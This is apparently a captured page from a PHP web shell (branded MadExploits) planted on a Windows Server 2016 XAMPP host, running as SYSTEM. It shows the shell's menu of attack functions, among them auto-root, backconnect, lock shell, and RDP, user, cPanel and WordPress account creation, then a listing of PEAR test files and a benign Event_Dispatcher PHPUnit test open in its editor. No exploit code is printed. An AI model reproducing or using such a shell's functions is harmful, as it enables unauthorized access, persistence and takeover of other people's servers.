Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
php /
pear /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
01glob.phpt
815
B
-rw-rw-rw-
02maptree.phpt
2.21
KB
-rw-rw-rw-
03maptreemultiple.phpt
1.31
KB
-rw-rw-rw-
04search.phpt
1.12
KB
-rw-rw-rw-
05search_inside.phpt
1.31
KB
-rw-rw-rw-
06match_shell.phpt
2.34
KB
-rw-rw-rw-
1.phpt
370
B
-rw-rw-rw-
10.phpt
1.65
KB
-rw-rw-rw-
11.phpt
484
B
-rw-rw-rw-
12.phpt
546
B
-rw-rw-rw-
13.phpt
567
B
-rw-rw-rw-
14.phpt
941
B
-rw-rw-rw-
15.phpt
735
B
-rw-rw-rw-
16.phpt
759
B
-rw-rw-rw-
17.phpt
903
B
-rw-rw-rw-
18.phpt
423
B
-rw-rw-rw-
19.phpt
497
B
-rw-rw-rw-
2.phpt
407
B
-rw-rw-rw-
20.phpt
545
B
-rw-rw-rw-
21.phpt
568
B
-rw-rw-rw-
22.phpt
703
B
-rw-rw-rw-
23.phpt
621
B
-rw-rw-rw-
24.phpt
1013
B
-rw-rw-rw-
25.phpt
621
B
-rw-rw-rw-
26.phpt
1.27
KB
-rw-rw-rw-
27.phpt
1.52
KB
-rw-rw-rw-
28.phpt
1.52
KB
-rw-rw-rw-
29.phpt
1.14
KB
-rw-rw-rw-
3.phpt
494
B
-rw-rw-rw-
30.phpt
1.28
KB
-rw-rw-rw-
31.phpt
2
KB
-rw-rw-rw-
4.phpt
673
B
-rw-rw-rw-
5.phpt
1.18
KB
-rw-rw-rw-
6.phpt
1.83
KB
-rw-rw-rw-
7.phpt
966
B
-rw-rw-rw-
8.phpt
354
B
-rw-rw-rw-
9.phpt
1.82
KB
-rw-rw-rw-
AllTests.php
754
B
-rw-rw-rw-
DispatcherTest.php
5.04
KB
-rw-rw-rw-
Getargs_basic_testcase.php
15.55
KB
-rw-rw-rw-
Getargs_getValues_testcase.php
9.75
KB
-rw-rw-rw-
bug2773.phpt
771
B
-rw-rw-rw-
setup.php
937
B
-rw-rw-rw-
testBasic_apiVersion.phpt
449
B
-rw-rw-rw-
testBasic_attributesToString.p...
3.55
KB
-rw-rw-rw-
testBasic_collapseEmptyTags.ph...
1.75
KB
-rw-rw-rw-
testBasic_createCDataSection.p...
494
B
-rw-rw-rw-
testBasic_createComment.phpt
471
B
-rw-rw-rw-
testBasic_createEndElement.php...
696
B
-rw-rw-rw-
testBasic_createStartElement.p...
3.68
KB
-rw-rw-rw-
testBasic_createTag.phpt
5.78
KB
-rw-rw-rw-
testBasic_createTagFromArray.p...
9.09
KB
-rw-rw-rw-
testBasic_getDocTypeDeclaratio...
1.48
KB
-rw-rw-rw-
testBasic_getXmlDeclaration.ph...
1.14
KB
-rw-rw-rw-
testBasic_isValidName.phpt
1.38
KB
-rw-rw-rw-
testBasic_raiseError.phpt
502
B
-rw-rw-rw-
testBasic_replaceEntities.phpt
3.17
KB
-rw-rw-rw-
testBasic_reverseEntities.phpt
3.16
KB
-rw-rw-rw-
testBasic_splitQualifiedName.p...
983
B
-rw-rw-rw-
testBug_18343.phpt
3.14
KB
-rw-rw-rw-
testBug_4950.phpt
675
B
-rw-rw-rw-
testBug_5392.phpt
1.07
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DispatcherTest.php
<?php // $Id: DispatcherTest.php 284686 2009-07-24 05:22:17Z clockwerx $ /** * Unit tests for Event_Dispatcher package. * * @author Bertrand Mansion <bmansion@mamasam.com> * @package Event_Dispatcher * @subpackage Tests */ require_once 'PHPUnit/Framework/TestCase.php'; require_once 'Event/Dispatcher.php'; class Notified { var $notif; function notifReceived(&$notif) { $this->notif =& $notif; } function description() { $notObj =& $this->notif->getNotificationObject(); $name = $this->notif->getNotificationName(); $info = $this->notif->getNotificationInfo(); $desc = $name.':'.implode(':', $info).':'.$notObj->id; return $desc; } } class Dummy { var $id; function Dummy($id = 'default') { $this->id = $id; } } class Notifier { var $id = 'notifier'; function Notifier($id) { $this->id = $id; $ed =& Event_Dispatcher::getInstance(); $ed->post($this, 'NotifierInstanciated', array('info')); } } function notified(&$notif) { $obj = $notif->getNotificationObject(); $obj->id = $notif->getNotificationName().':'.implode(':', $notif->getNotificationInfo()); } class DispatcherTest extends PHPUnit_Framework_TestCase { // Get the default dispatch center function test1() { $nf = new Notified(); $dm = new Dummy(); $ed =& Event_Dispatcher::getInstance(); // Generic notification, global observer $ed->addObserver(array(&$nf, 'notifReceived')); $not =& $ed->post($dm, 'test', array('A', 'B')); $this->assertEquals('test:A:B:default', $nf->description(), "Error"); $this->assertEquals(1, $not->getNotificationCount(), "Wrong notification count"); // Object references $dm->id = 'dummy'; $this->assertEquals('test:A:B:dummy', $nf->description(), "Wrong notification description"); // Named notifications $ed->addObserver('notified', 'NotifierInstanciated'); $nt = new Notifier('notifier'); $this->assertEquals('NotifierInstanciated:info', $nt->id, "Wrong notification id"); // Pending notifications $not =& $ed->post($nt, 'PendingNotification'); $ed->addObserver(array(&$nf, 'notifReceived'), 'PendingNotification'); $this->assertEquals('PendingNotification::NotifierInstanciated:info', $nf->description(), "Error"); $this->assertEquals(2, $not->getNotificationCount(), "Error"); // Class filter 1 $ed->addObserver(array(&$nf, 'notifReceived'), 'ClassFilterNotification', 'Dummy'); $not =& $ed->post($nt, 'ClassFilterNotification', array('isGlobal')); $this->assertEquals('ClassFilterNotification:isGlobal:NotifierInstanciated:info', $nf->description(), "Error"); $this->assertEquals(1, $not->getNotificationCount(), "Error"); // Remove observer $ed->removeObserver(array(&$nf, 'notifReceived')); $nt->id = 'reset'; $not =& $ed->post($nt, 'ClassFilterNotification', array('test')); $this->assertEquals('ClassFilterNotification:isGlobal:reset', $nf->description(), "Error"); $this->assertEquals(0, $not->getNotificationCount(), "Error"); // Class filter 2 $not =& $ed->post($dm, 'ClassFilterNotification'); $this->assertEquals('ClassFilterNotification::dummy', $nf->description(), "Error"); $this->assertEquals(1, $not->getNotificationCount(), "Error"); // Re-add the global observer $ed->addObserver(array(&$nf, 'notifReceived')); $not =& $ed->post($dm, 'ClassFilterNotification'); $this->assertEquals('ClassFilterNotification::dummy', $nf->description(), "Error"); $this->assertEquals(2, $not->getNotificationCount(), "Error"); } // Tests with 2 dispatchers function test2() { $nf = new Notified(); $dm = new Dummy(); $ed2 =& Event_Dispatcher::getInstance('another'); $ed1 =& Event_Dispatcher::getInstance(); $ed2->addObserver(array(&$nf, 'notifReceived')); $not =& $ed2->post($dm, 'test', array('A', 'B')); $this->assertEquals('test:A:B:default', $nf->description(), "Error"); $this->assertEquals(1, $not->getNotificationCount(), "Error"); $not =& $ed1->post($dm, 'test', array('A2', 'B2')); $this->assertEquals(1, $not->getNotificationCount(), "Error"); $not =& $ed1->post($dm, 'test', array('A2', 'B2')); $this->assertEquals(1, $not->getNotificationCount(), "Error"); $ed2->addObserver(array(&$nf, 'notifReceived'), 'ClassFilterNotification', 'Notifier'); $not =& $ed2->post($dm, 'ClassFilterNotification'); $this->assertEquals('ClassFilterNotification::default', $nf->description(), "Error"); $this->assertEquals(1, $not->getNotificationCount(), "Error"); $ed2->addObserver(array(&$nf, 'notifReceived'), 'ClassFilterNotification', 'Dummy'); $not =& $ed2->post($dm, 'ClassFilterNotification'); $this->assertEquals(2, $not->getNotificationCount(), "Error"); } } ?>
Close